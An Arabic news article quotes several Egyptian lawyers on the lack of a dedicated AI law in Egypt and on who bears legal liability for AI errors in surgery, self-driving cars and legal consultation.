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			<p style="text-align: right;"><em><strong> كتبت شروق عارف                                                                                                                                                    يشهد العالم تطورا غير مسبوق في التكنولوجيا، حيث أصبح الذكاء الاصطناعي قوة مؤثرة تعيد تشكيل حياتنا وتغيّر قواعد العديد من المجالات. ورغم ما يتيحه هذا التقدم من فرص واسعة، إلا أنه يثير تحديات ومخاوف، خاصة في ظل غياب تشريعات واضحة تنظم استخدامه في مجالات حساسة كالجراحة، والسيارات ذاتية القيادة، والمجال القانوني. هذا الواقع يطرح تساؤلات مهمة، أبرزها: من يتحمل المسؤولية عند حدوث خطأ؟ وتواجه مصر اليوم تحديا في سن قوانين تحمي حقوق الناس وتواكب في الوقت نفسه التقدم التكنولوجي                                                                                                                       </strong></em></p>
<p style="text-align: right;"><em><strong><span style="color: #0000ff;">لا قانون للذكاء الاصطناعي حتى الان                                                                                               </span></strong></em></p>
<p>صرح المحامي محمد عاطف  بأن الذكاء الاصطناعي لا يخضع حتى الآن لإطار قانوني واضح ومحدد.<br />
و لم يتم إصدار قانون شامل ينظم استخداماته حتى الآن.</p>
<p>وأوضح أنه لا يجوز قانونًا للذكاء الاصطناعي تقديم استشارات قانونية، حيث إن هذه المهام يجب أن تكون من اختصاص محامي مرخص أو جهة قانونية معترف بها، لضمان صحة المعلومات .</p>
<p>وفي ما يتعلق بالمسؤولية الطبية، أشار إلى أن الطبيب هو المسؤول الأول عن الخطأ الطبي، باعتباره صاحب القرار والمتخصص في تقديم الرعاية الصحية، وبالتالي فهو الذي يُسأل قانونًا عند وقوع أي تقصير أو إهمال.</p>
<p>أما في حالات حوادث السير، فقد بين أن السائق هو المسؤول قانونيًا عن أي خطأ يقع أثناء القيادة، لأنه هو المتحكم .<br />
وأضاف أن القانون لا يزال غير مستوعب بشكل كامل لمفهوم القيادة الذاتية، وبالتالي لا يحمل الذكاء الاصطناعي أي مسؤولية في هذا السياق حتى الآن.</p>
<p>من جانبه، أوضح المحامي الجنائي محمد علي أن الذكاء الاصطناعي لديه القدرة على تقديم استشارات أو خدمات قانونية.<br />
ولكن لا بد أن نفرق بين دوره ودور المحامي، فالمحامي لا يعتمد فقط على المعلومات، بل على فهمه العميق للقانون وظروف كل قضية، وهو ما لا يستطيع الذكاء الاصطناعي تقديمه، لأنه في النهاية مجرد أداة.</p>
<p>كما أن الذكاء الاصطناعي يمكنه المساعدة في الوصول إلى مواد قانونية أو شرح بعض المفاهيم، لكنه لا يقدم حلولًا قانونية كاملة، ولا يستطيع التعامل مع تفاصيل كل حالة على حدة كما يفعل المحامي البشري.</p>
<p>وأشار إلى أن مصر لا تمتلك حتى الآن قانونًا خاصًا ينظم الذكاء الاصطناعي.<br />
كما لا يوجد ما يمنع قانونًا استخدام أدوات الذكاء الاصطناعي في تقديم استشارات قانونية، لكن لا يمكن الاعتماد عليها كبديل عن المحامي المرخص، حيث يشترط قانون المحاماة أن تكون المرافعات والتوقيعات القانونية صادرة عن محامي معتمد من النقابة.</p>
<p>وفي المجال الطبي، أوضح أن القانون المصري لا يميز بوضوح بين الخطأ الناتج عن الإنسان والخطأ الناتج عن الذكاء الاصطناعي.<br />
فإذا وقع ضرر نتيجة استخدام أدوات مثل الروبوتات الجراحية أو أنظمة التشخيص، فإن المسؤولية تقع غالبًا على الطبيب.</p>
<p>أما فيما يخص السيارات ذاتية القيادة، فأكد أن مصر لا تملك إطارًا قانونيًا ينظمها حتى الآن.<br />
وفي حال وقوع حادث، قد تتحمل المسؤولية إما الشركة المصنعة أو مالك السيارة، حسب ظروف الحادث.</p>
<p>من جانبه، أكد المحامي المدني رامي أبو رية بأن مصطلح الذكاء الاصطناعي يعد تعبيرا فضفاضا، مما يجعل من السهل القول بأنه لا يوجد قانون محدد ينظم استخدامه.<br />
إلا أن الواقع أكثر دقة فبمجرد تفكيك المصطلح والنظر في كل مجال تُستخدم فيه التكنولوجيا المعتمدة على الذكاء الاصطناعي، نجد أن القوانين الحالية تنظم هذه الاستخدامات بشكل أو بآخر.</p>
<p>وأكد على أهمية تحديد نوع المسؤولية القانونية عند مناقشة الأطر التنظيمية للذكاء الاصطناعي، موضحًا أن الحديث هنا ينصب على المسؤولية المدنية، التي تنقسم بدورها إلى نوعين: المسؤولية العقدية  والمسؤولية التقصيرية، التي تُعد الأقرب لتطبيقات الذكاء الاصطناعي في الوقت الراهن.</p>
<p>وأوضح أن المسؤولية التقصيرية تقوم على ثلاثة عناصر: الخطأ، والضرر، وعلاقة السببية، وهو ما تنظمه المادة 163 من القانون المدني المصري.<br />
وأعطى مثالًا على ذلك بالسيارات ذاتية القيادة، مشيرًا إلى أنها تخضع لأحكام المادة 178 من القانون المدني، التي تتعلق بمسؤولية حارس الأشياء، أي الشخص الذي يملك السيطرة الفعلية على الشيء الذي قد يُسبب ضررًا للغير.<br />
وبناءً عليه، فإن مالك أو مشغل السيارة ذاتية القيادة هو المسؤول مدنيًا عن أي ضرر ناتج عنها.</p>
<p>وفيما يتعلق باستخدام الذكاء الاصطناعي في تقديم الاستشارات القانونية، أشار أبو رية إلى أن هذه التقنية يمكنها حاليًا توليد نصوص قانونية تُقدَّم على هيئة استشارات، لكنها لا تستطيع تطبيقها فعليًا.<br />
وقد تتضمن هذه الاستشارات معلومات عامة متداولة، أو تفاصيل دقيقة لا يعرفها سوى المتخصصين، ما قد يشكّل خطرًا على مصلحة من يطلب الاستشارة دون الرجوع إلى مختص بشري.</p>
<p>صرّحت الأستاذة هند توفيق، المحامية المتخصصة بالإستئناف العالي بأن استخدام الذكاء الاصطناعي في مصر يخضع لإطار قانوني واضح، حيث ينظمه قانون حماية البيانات الشخصية الصادر عام 2020، بالإضافة إلى قانون مكافحة جرائم تقنية المعلومات لسنة 2018، ما يضع استخدام هذه التكنولوجيا تحت الرقابة القانونية.</p>
<p>وأوضحت أن الذكاء الاصطناعي يمكن الاستفادة منه في تقديم استشارات وآراء قانونية أو خدمات مساعدة، مؤكدة على استخدامه بشكل فعلي في الأبحاث القانونية وصياغة المذكرات، إلا أن هذه الأدوات لا تحمل طابعًا رسميًا، ويمكن الاعتماد عليها كمصدر تمهيدي أو مساعد، لا أكثر.</p>
<p>وفيما يتعلق بالمسؤولية القانونية في حالة الأخطاء الطبية الناتجة عن استخدام الروبوتات، أكدت أن هناك شقين للمساءلة: جنائي ومدني. ففي الشق الجنائي، يُعد الروبوت بمثابة أداة جراحية، وأي خلل ناتج عنه يؤدي إلى مساءلة الطبيب جنائيًا بتهمة القتل أو الإصابة الخطأ، وفقًا للضرر الواقع. أما في الشق المدني، فالمسؤولية تقع على الطبيب كذلك، باعتبارها مسؤولية تقصيرية، مضيفة أن القانون المدني المصري يتضمن مفهوم “مسؤولية حارس الأشياء”، والتي يمكن تطبيقها على الروبوت باعتباره شيئًا ماديًا، مما يرتب تعويضًا مدنيًا عن الضرر.</p>
<p>وبالنسبة للحوادث الناجمة عن السيارات ذاتية القيادة، أوضحت أن المبدأ نفسه ينطبق؛ حيث يُسأل مالك السيارة مدنيًا، ما لم يثبت أن العطل ناتج عن خلل تقني أو عيب مصنعي، مع تأكيده على اتخاذه الاحتياطات اللازمة. أما من الناحية الجنائية، فلا يوجد حتى الآن نص قانوني واضح يعالج هذه الحالة.</p>
<p>وفي تقييمها للتأثير الاقتصادي للذكاء الاصطناعي، شددت الأستاذة هند على أن هذه التكنولوجيا باتت تمثل خطرًا حقيقيًا على العديد من المهن، خصوصًا تلك التي تعتمد على المهارات الذهنية، مثل مهنة المحاماة والقضاء. لكنها أوضحت أن الوضع في مصر يختلف، إذ لا يمكن الاعتماد كليًا على الذكاء الاصطناعي في تحقيق العدالة، بسبب الطبيعة البشرية لتكوين قناعة القاضي واستنباط القرائن، وهو ما لا تستطيع الخوارزميات محاكاته حتى الآن.</p>
<p>واختتمت حديثها قائلة: “من يعلم؟! ربما نشهد بعد سنوات قليلة طفرة جديدة تجعل الذكاء الاصطناعي قادراً على أداء مهام لم نكن نتخيل أن يفعلها. منذ أربعين عامًا، لو قال لنا أحد أننا سنتحدث اليوم عبر جهاز يسمى الموبايل ونتبادل الرسائل الإلكترونية، لكنا اتهمناه بالجنون”.</p>
<p>&nbsp;</p>
<p>لم يعد الذكاء الاصطناعي مجرد فكرة مستقبلية، بل أصبح واقع نعيشه ، ودخل مجالات حساسة تمس حياة الناس بشكل مباشر.<br />
ومع هذا الانتشار السريع، يظل القانون في مصر متأخرًا عن مواكبة هذا التطور، فلا توجد تشريعات واضحة تحدد من المسؤول عند وقوع الخطأ.<br />
ولهذا، فإن وضع إطار قانوني ينظم استخدام الذكاء الاصطناعي أصبح ضرورة لا تحتمل التأجيل، لحماية الحقوق وضمان الاستخدام الآمن والعادل لهذه التكنولوجيا.</p>

			
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					<span class="share-btn-icon tie-icon-vk"></span> <span class="screen-reader-text">‏VKontakte</span>
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					<span class="share-btn-icon tie-icon-odnoklassniki"></span> <span class="screen-reader-text">Odnoklassniki</span>
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					<span class="share-btn-icon tie-icon-get-pocket"></span> <span class="screen-reader-text">‫Pocket</span>
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					<span class="share-btn-icon tie-icon-facebook"></span> <span class="screen-reader-text">فيسبوك</span>
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				<a href="https://twitter.com/intent/tweet?text=%D8%A7%D9%84%D8%B0%D9%83%D8%A7%D8%A1%20%D8%A7%D9%84%D8%A7%D8%B5%D8%B7%D9%86%D8%A7%D8%B9%D9%8A%20%D9%81%D9%8A%20%D9%85%D8%B5%D8%B1%20%D8%AA%D8%B7%D9%88%D8%B1%20%D8%A8%D9%84%D8%A7%20%D8%AA%D8%B4%D8%B1%D9%8A%D8%B9%20%20%D9%81%D9%85%D9%86%20%D9%8A%D8%AA%D8%AD%D9%85%D9%84%20%D8%A7%D9%84%D9%85%D8%B3%D8%A4%D9%88%D9%84%D9%8A%D8%A9%D8%9F&#038;url=https://tahkoom.com/%d8%a7%d9%84%d8%b0%d9%83%d8%a7%d8%a1-%d8%a7%d9%84%d8%a7%d8%b5%d8%b7%d9%86%d8%a7%d8%b9%d9%8a-%d9%81%d9%8a-%d9%85%d8%b5%d8%b1-%d8%aa%d8%b7%d9%88%d8%b1-%d8%a8%d9%84%d8%a7-%d8%aa%d8%b4%d8%b1%d9%8a%d8%b9/" rel="external noopener nofollow" title="‫X" target="_blank" class="twitter-share-btn " data-raw="https://twitter.com/intent/tweet?text={post_title}&amp;url={post_link}">
					<span class="share-btn-icon tie-icon-twitter"></span> <span class="screen-reader-text">‫X</span>
				</a>
				<a href="https://www.linkedin.com/shareArticle?mini=true&#038;url=https://tahkoom.com/%d8%a7%d9%84%d8%b0%d9%83%d8%a7%d8%a1-%d8%a7%d9%84%d8%a7%d8%b5%d8%b7%d9%86%d8%a7%d8%b9%d9%8a-%d9%81%d9%8a-%d9%85%d8%b5%d8%b1-%d8%aa%d8%b7%d9%88%d8%b1-%d8%a8%d9%84%d8%a7-%d8%aa%d8%b4%d8%b1%d9%8a%d8%b9/&#038;title=%D8%A7%D9%84%D8%B0%D9%83%D8%A7%D8%A1%20%D8%A7%D9%84%D8%A7%D8%B5%D8%B7%D9%86%D8%A7%D8%B9%D9%8A%20%D9%81%D9%8A%20%D9%85%D8%B5%D8%B1%20%D8%AA%D8%B7%D9%88%D8%B1%20%D8%A8%D9%84%D8%A7%20%D8%AA%D8%B4%D8%B1%D9%8A%D8%B9%20%20%D9%81%D9%85%D9%86%20%D9%8A%D8%AA%D8%AD%D9%85%D9%84%20%D8%A7%D9%84%D9%85%D8%B3%D8%A4%D9%88%D9%84%D9%8A%D8%A9%D8%9F" rel="external noopener nofollow" title="لينكدإن" target="_blank" class="linkedin-share-btn " data-raw="https://www.linkedin.com/shareArticle?mini=true&amp;url={post_full_link}&amp;title={post_title}">
					<span class="share-btn-icon tie-icon-linkedin"></span> <span class="screen-reader-text">لينكدإن</span>
				</a>
				<a href="https://www.tumblr.com/share/link?url=https://tahkoom.com/%d8%a7%d9%84%d8%b0%d9%83%d8%a7%d8%a1-%d8%a7%d9%84%d8%a7%d8%b5%d8%b7%d9%86%d8%a7%d8%b9%d9%8a-%d9%81%d9%8a-%d9%85%d8%b5%d8%b1-%d8%aa%d8%b7%d9%88%d8%b1-%d8%a8%d9%84%d8%a7-%d8%aa%d8%b4%d8%b1%d9%8a%d8%b9/&#038;name=%D8%A7%D9%84%D8%B0%D9%83%D8%A7%D8%A1%20%D8%A7%D9%84%D8%A7%D8%B5%D8%B7%D9%86%D8%A7%D8%B9%D9%8A%20%D9%81%D9%8A%20%D9%85%D8%B5%D8%B1%20%D8%AA%D8%B7%D9%88%D8%B1%20%D8%A8%D9%84%D8%A7%20%D8%AA%D8%B4%D8%B1%D9%8A%D8%B9%20%20%D9%81%D9%85%D9%86%20%D9%8A%D8%AA%D8%AD%D9%85%D9%84%20%D8%A7%D9%84%D9%85%D8%B3%D8%A4%D9%88%D9%84%D9%8A%D8%A9%D8%9F" rel="external noopener nofollow" title="‏Tumblr" target="_blank" class="tumblr-share-btn " data-raw="https://www.tumblr.com/share/link?url={post_link}&amp;name={post_title}">
					<span class="share-btn-icon tie-icon-tumblr"></span> <span class="screen-reader-text">‏Tumblr</span>
				</a>
				<a href="https://pinterest.com/pin/create/button/?url=https://tahkoom.com/%d8%a7%d9%84%d8%b0%d9%83%d8%a7%d8%a1-%d8%a7%d9%84%d8%a7%d8%b5%d8%b7%d9%86%d8%a7%d8%b9%d9%8a-%d9%81%d9%8a-%d9%85%d8%b5%d8%b1-%d8%aa%d8%b7%d9%88%d8%b1-%d8%a8%d9%84%d8%a7-%d8%aa%d8%b4%d8%b1%d9%8a%d8%b9/&#038;description=%D8%A7%D9%84%D8%B0%D9%83%D8%A7%D8%A1%20%D8%A7%D9%84%D8%A7%D8%B5%D8%B7%D9%86%D8%A7%D8%B9%D9%8A%20%D9%81%D9%8A%20%D9%85%D8%B5%D8%B1%20%D8%AA%D8%B7%D9%88%D8%B1%20%D8%A8%D9%84%D8%A7%20%D8%AA%D8%B4%D8%B1%D9%8A%D8%B9%20%20%D9%81%D9%85%D9%86%20%D9%8A%D8%AA%D8%AD%D9%85%D9%84%20%D8%A7%D9%84%D9%85%D8%B3%D8%A4%D9%88%D9%84%D9%8A%D8%A9%D8%9F&#038;media=https://tahkoom.com/wp-content/uploads/2025/06/WhatsApp-Image-2025-06-10-at-05.40.40_e67f50d5.jpg" rel="external noopener nofollow" title="بينتيريست" target="_blank" class="pinterest-share-btn " data-raw="https://pinterest.com/pin/create/button/?url={post_link}&amp;description={post_title}&amp;media={post_img}">
					<span class="share-btn-icon tie-icon-pinterest"></span> <span class="screen-reader-text">بينتيريست</span>
				</a>
				<a href="https://reddit.com/submit?url=https://tahkoom.com/%d8%a7%d9%84%d8%b0%d9%83%d8%a7%d8%a1-%d8%a7%d9%84%d8%a7%d8%b5%d8%b7%d9%86%d8%a7%d8%b9%d9%8a-%d9%81%d9%8a-%d9%85%d8%b5%d8%b1-%d8%aa%d8%b7%d9%88%d8%b1-%d8%a8%d9%84%d8%a7-%d8%aa%d8%b4%d8%b1%d9%8a%d8%b9/&#038;title=%D8%A7%D9%84%D8%B0%D9%83%D8%A7%D8%A1%20%D8%A7%D9%84%D8%A7%D8%B5%D8%B7%D9%86%D8%A7%D8%B9%D9%8A%20%D9%81%D9%8A%20%D9%85%D8%B5%D8%B1%20%D8%AA%D8%B7%D9%88%D8%B1%20%D8%A8%D9%84%D8%A7%20%D8%AA%D8%B4%D8%B1%D9%8A%D8%B9%20%20%D9%81%D9%85%D9%86%20%D9%8A%D8%AA%D8%AD%D9%85%D9%84%20%D8%A7%D9%84%D9%85%D8%B3%D8%A4%D9%88%D9%84%D9%8A%D8%A9%D8%9F" rel="external noopener nofollow" title="‏Reddit" target="_blank" class="reddit-share-btn " data-raw="https://reddit.com/submit?url={post_link}&amp;title={post_title}">
					<span class="share-btn-icon tie-icon-reddit"></span> <span class="screen-reader-text">‏Reddit</span>
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				<a href="https://vk.com/share.php?url=https://tahkoom.com/%d8%a7%d9%84%d8%b0%d9%83%d8%a7%d8%a1-%d8%a7%d9%84%d8%a7%d8%b5%d8%b7%d9%86%d8%a7%d8%b9%d9%8a-%d9%81%d9%8a-%d9%85%d8%b5%d8%b1-%d8%aa%d8%b7%d9%88%d8%b1-%d8%a8%d9%84%d8%a7-%d8%aa%d8%b4%d8%b1%d9%8a%d8%b9/" rel="external noopener nofollow" title="‏VKontakte" target="_blank" class="vk-share-btn " data-raw="https://vk.com/share.php?url={post_link}">
					<span class="share-btn-icon tie-icon-vk"></span> <span class="screen-reader-text">‏VKontakte</span>
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				<a href="https://connect.ok.ru/dk?st.cmd=WidgetSharePreview&#038;st.shareUrl=https://tahkoom.com/%d8%a7%d9%84%d8%b0%d9%83%d8%a7%d8%a1-%d8%a7%d9%84%d8%a7%d8%b5%d8%b7%d9%86%d8%a7%d8%b9%d9%8a-%d9%81%d9%8a-%d9%85%d8%b5%d8%b1-%d8%aa%d8%b7%d9%88%d8%b1-%d8%a8%d9%84%d8%a7-%d8%aa%d8%b4%d8%b1%d9%8a%d8%b9/&#038;description=%D8%A7%D9%84%D8%B0%D9%83%D8%A7%D8%A1%20%D8%A7%D9%84%D8%A7%D8%B5%D8%B7%D9%86%D8%A7%D8%B9%D9%8A%20%D9%81%D9%8A%20%D9%85%D8%B5%D8%B1%20%D8%AA%D8%B7%D9%88%D8%B1%20%D8%A8%D9%84%D8%A7%20%D8%AA%D8%B4%D8%B1%D9%8A%D8%B9%20%20%D9%81%D9%85%D9%86%20%D9%8A%D8%AA%D8%AD%D9%85%D9%84%20%D8%A7%D9%84%D9%85%D8%B3%D8%A4%D9%88%D9%84%D9%8A%D8%A9%D8%9F&#038;media=https://tahkoom.com/wp-content/uploads/2025/06/WhatsApp-Image-2025-06-10-at-05.40.40_e67f50d5.jpg" rel="external noopener nofollow" title="Odnoklassniki" target="_blank" class="odnoklassniki-share-btn " data-raw="https://connect.ok.ru/dk?st.cmd=WidgetSharePreview&st.shareUrl={post_link}&amp;description={post_title}&amp;media={post_img}">
					<span class="share-btn-icon tie-icon-odnoklassniki"></span> <span class="screen-reader-text">Odnoklassniki</span>
				</a>
				<a href="https://getpocket.com/save?title=%D8%A7%D9%84%D8%B0%D9%83%D8%A7%D8%A1%20%D8%A7%D9%84%D8%A7%D8%B5%D8%B7%D9%86%D8%A7%D8%B9%D9%8A%20%D9%81%D9%8A%20%D9%85%D8%B5%D8%B1%20%D8%AA%D8%B7%D9%88%D8%B1%20%D8%A8%D9%84%D8%A7%20%D8%AA%D8%B4%D8%B1%D9%8A%D8%B9%20%20%D9%81%D9%85%D9%86%20%D9%8A%D8%AA%D8%AD%D9%85%D9%84%20%D8%A7%D9%84%D9%85%D8%B3%D8%A4%D9%88%D9%84%D9%8A%D8%A9%D8%9F&#038;url=https://tahkoom.com/%d8%a7%d9%84%d8%b0%d9%83%d8%a7%d8%a1-%d8%a7%d9%84%d8%a7%d8%b5%d8%b7%d9%86%d8%a7%d8%b9%d9%8a-%d9%81%d9%8a-%d9%85%d8%b5%d8%b1-%d8%aa%d8%b7%d9%88%d8%b1-%d8%a8%d9%84%d8%a7-%d8%aa%d8%b4%d8%b1%d9%8a%d8%b9/" rel="external noopener nofollow" title="‫Pocket" target="_blank" class="pocket-share-btn " data-raw="https://getpocket.com/save?title={post_title}&amp;url={post_link}">
					<span class="share-btn-icon tie-icon-get-pocket"></span> <span class="screen-reader-text">‫Pocket</span>
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				<a href="mailto:?subject=%D8%A7%D9%84%D8%B0%D9%83%D8%A7%D8%A1%20%D8%A7%D9%84%D8%A7%D8%B5%D8%B7%D9%86%D8%A7%D8%B9%D9%8A%20%D9%81%D9%8A%20%D9%85%D8%B5%D8%B1%20%D8%AA%D8%B7%D9%88%D8%B1%20%D8%A8%D9%84%D8%A7%20%D8%AA%D8%B4%D8%B1%D9%8A%D8%B9%20%20%D9%81%D9%85%D9%86%20%D9%8A%D8%AA%D8%AD%D9%85%D9%84%20%D8%A7%D9%84%D9%85%D8%B3%D8%A4%D9%88%D9%84%D9%8A%D8%A9%D8%9F&#038;body=https://tahkoom.com/%d8%a7%d9%84%d8%b0%d9%83%d8%a7%d8%a1-%d8%a7%d9%84%d8%a7%d8%b5%d8%b7%d9%86%d8%a7%d8%b9%d9%8a-%d9%81%d9%8a-%d9%85%d8%b5%d8%b1-%d8%aa%d8%b7%d9%88%d8%b1-%d8%a8%d9%84%d8%a7-%d8%aa%d8%b4%d8%b1%d9%8a%d8%b9/" rel="external noopener nofollow" title="مشاركة عبر البريد" target="_blank" class="email-share-btn " data-raw="mailto:?subject={post_title}&amp;body={post_link}">
					<span class="share-btn-icon tie-icon-envelope"></span> <span class="screen-reader-text">مشاركة عبر البريد</span>
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				<a href="#" rel="external noopener nofollow" title="طباعة" target="_blank" class="print-share-btn " data-raw="#">
					<span class="share-btn-icon tie-icon-print"></span> <span class="screen-reader-text">طباعة</span>
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